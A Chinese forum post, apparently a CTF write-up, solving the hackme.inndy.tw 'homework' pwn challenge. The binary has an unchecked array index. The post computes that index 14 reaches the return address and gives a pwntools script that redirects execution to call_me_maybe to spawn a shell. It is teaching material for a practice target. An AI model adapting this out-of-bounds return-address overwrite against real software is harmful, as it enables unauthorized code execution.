首页
论坛
专栏
课程

hackme.inndy.tw一道pwn题

2018-8-11 19:14 1335

hackme.inndy.tw一道pwn题

2018-8-11 19:14
1335

homework,一道数组越界漏洞题

原题链接:https://hackme.inndy.tw/scoreboard/

查看程序开启了什么保护:


不过,程序给了我们源码,开启的这两个保护根本没什么作用。

源码地址:https://hackme.inndy.tw/static/pwn-easy.c

 

 

可以看到,程序对数组的下标并没有做什么限制,所以我们可以越过数组下标,覆盖掉run_program的返回地址。

 

题目很简单,思路有了,剩下的就是明确返回地址相对于数组来说,是第几个索引。

ida打开程序:

 

数组的首地址为ebp-34h,所以arr与ebp之间的偏移为0x34=52个字节。

52+ ebp + ret = 60 字节

60/4=15,即相对于arr来说,ret的索引为14

最后,我们需要 call_me_maybe()的地址:

 

exp如下:

#! /usr/bin/env python
from pwn import *

ret_addr = 0x80485fb

p = remote('hackme.inndy.tw',7701)

#p = process('./homework')
p.sendlineafter("name?","lingyin")
p.sendlineafter("> ",'1')
p.sendlineafter("edit: ",'14')
p.sendlineafter("many? ",str(ret_addr))
p.sendlineafter("> ",'0')

p.interactive()

成功获取flag:

 



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2018-8-12 09:08 被灵音编辑 ,原因: 链接地址有问题
上传的附件:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回